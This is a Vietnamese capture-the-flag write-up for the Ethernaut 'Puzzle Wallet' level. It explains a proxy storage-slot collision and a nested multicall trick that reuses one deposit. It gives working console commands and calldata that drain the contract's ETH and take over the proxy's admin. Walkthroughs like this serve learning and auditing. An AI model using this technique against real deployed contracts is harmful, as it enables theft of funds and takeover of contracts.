24. Puzzle Wallet
Nhiệm vụ: Chiếm quyền admin của contract Puzzle Proxy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
Solution
-
Nếu bạn thấy khó hiểu về đề bài, thì ta đang có một instance là contract
Puzzle Proxy
. Đây là một proxy, thiết kế theo kiến trúc Upgradeable, có nghĩa là bản thân contract chỉ dùng để chứa biến storage mà không chứa code logic. Toàn bộ logic sẽ được forward quadelegatecall
tới một contract gọi là implement contract. Trong trường hợp này implement củaPuzzle Proxy
làPuzzle Wallet
. -
Khuyến khích bạn đọc nên tìm hiểu về
Upgradeable Pattern
& hiểu rõdelegatecall
trước khi bắt đầu. -
Ta biết rằng khi sử dụng
Upgradeable
patterndelegatecall
thì việc cần phải chú ý đó chính là slot collision, tức sự trùng nhau của vị trí biến trong storage slot. TạiPuzzle Proxy
cópendingAdmin
trùng vớiowner
(đều nằm slot0),admin
trùng vớimaxBalance
(đều nằm ở slot1) của contractPuzzleWallet
. Điều đó có nghĩa là nếu ta thay đổipendingAdmin
thìowner
cũng thay đổi theo, tương tự ta thay đổimaxBalance
thìadmin
cũng thay đổi theo.
Vậy nên ta có hướng đi như sau:
- thay đổi
pendingAdmin
trong proxy để chiếm quyềnowner
mỗi khi gọi PuzzleWallet qua proxy. - sau đó bằng cách nào đó thay đổi
maxBalance
khi gọi PuzzleWallet qua proxy để ghi đè lênadmin
của proxy là xong.
Chiếm owner của PuzzleWallet
đơn giản gọi hàm proposeNewAdmin
là xong
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
Ở đây có một chút rắc rối, instance của chúng ta đang được implement interface của PuzzleWallet
nên nó không thể gọi trực tiếp hàm proposeNewAdmin
vốn chỉ được implement trong Puzzle Proxy
được. Giải quyết bằng cách dùng Remix để load ABI của Puzzle Proxy
vào địa chỉ của instance, hoặc gọi thông qua function signature. Ở đây ta dùng cách gọi thông qua signature cho tiện.
- function signature của hàm
proposeNewAdmin
web3.eth.abi.encodeFunctionSignature("proposeNewAdmin(address)");
> '0xa6376746'
- encode parameter
web3.eth.abi.encodeParameter("address", player);
> '0x000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942'
- Data gọi sẽ là
signature + encoded parameters
, tức0xa6376746000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942
contract.sendTransaction({
data: "0xa6376746000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942",
});
- Kiểm tra lại contract owner là mình là được
await contract.owner();
> '0xC3a005E15Cb35689380d9C1318e981BcA9339942'
Ghi đè maxBalance để chiếm quyền admin
Để thay đổi maxBalance ta cần có các điều kiện:
- nằm trong
whitelist
- balance của contract bằng 0
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
Giờ ta đã nắm quyền owner rồi, vậy nên ta có thể add trực tiếp mình vào whitelist:
contract.addToWhitelist(player);
Contract ngay khi được tạo ra đã có balance là 0.001 ETH
. Theo logic của contract thì để thực hiện bất cứ hành động gì, ta cần phải deposit
vào một lượng ETH tương ứng với chi phí cho lời gọi execute
. Có nghĩa là mặc định ta luôn luôn chỉ có thể tiêu max bằng số tiền mình nạp vào, và contract sẽ luôn còn ít nhất 0.001 ETH
.
Nếu như chỉ nạp và rút từng lần riêng biệt thì đúng là như vậy. Nhưng contract còn cung cấp cho ta một hàm là multicall
có thể gọi liên tục nhiều hàm cùng một lúc:
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
thoạt nhìn, logic được thiết kế rất ok, hàm deposit
đã được giới hạn chỉ được gọi một lần; vì về bản chất đây là một lần gọi hàm, nên nếu deposit
được gọi nhiều lần thì sẽ bị duplicate deposit, quá nguy hiểm.
Thế nhưng việc kiểm tra chỉ bằng selector selector == this.deposit.selector
là không đủ. Nếu bằng cách nào đó ta wrap được hàm deposit
bên trong một hàm khác thì khi được gọi đến ta vẫn sẽ pass qua được điều kiện này, có nghĩa là ta có thể duplicate deposit.
thật vậy, ta dùng input như sau: ["deposit()", "multicall([deposit()])"]
là có thể pass qua được điều kiện check kia.
Như vậy ta có cách để đưa contract balance về 0 như sau:
- gọi
multicall
với input là["deposit()", "multicall([deposit()])"]
và value là0.001 ETH
- khi này contract có
0.002 ETH
vàbalances[player]
cũng có0.002 ETH
- gọi hàm execute bát kì với value là
0.002 ETH
- balance của contract đã về 0
Ta tiếp tục sử dụng chrome console (bạn đọc có thể sử dụng hardhat hoặc ethers.js cũng được)
- lấy signature của hàm
deposit
data1 = web3.eth.abi.encodeFunctionSignature("deposit()");
> '0xd0e30db0'
- lấy signature của hàm
multicall
data2 = eb3.eth.abi.encodeFunctionSignature("multicall(bytes[])");
> '0xac9650d8'
- encode param của
multicall([deposit()])
web3.eth.abi.encodeParameter('bytes[]', [data1]);
> '0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000';
- ghép signature của
multicall
với encoded param củamulticall([deposit()])
ta được
data3 =
"0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000";
- gọi multicall với value là
0.001 ETH
contract.multicall([data1, data3], { value: toWei("0.001") });
- kiểm tra lại balance của contract
(await getBalance(instance)).toString();
> '0.002'
- kiểm tra lại
balances[player]
fromWei((await contract.balances(player)).toString());
> '0.002';
- ta đã có balance bằng với balance của contract, giờ gọi
execute
để rút hết tiền trong contract ra
contract.execute(player, toWei("0.002"), "0x");
- kiểm tra lại balance của contract
(await getBalance(instance)).toString();
> '0'
- set giá trị
maxBalance
bằng giá trị decimal của địa chỉ của ta
# Convert số lớn bằng python
0xC3a005E15Cb35689380d9C1318e981BcA9339942
1116821831790595974849218070050646934865281521986
contract.setMaxBalance("1116821831790595974849218070050646934865281521986");
- kiểm tra lại admin của proxy bằng cách kiểm tra slot 0
await web3.eth.getStorageAt(instance, 1);
> '0x000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942'
Thấy địa chỉ của mình là ok!
- Submit & all done!
Bình luận
Đây là bài hay và khó nhất cho đến thời điểm hiện tại của chuỗi Ethernaut.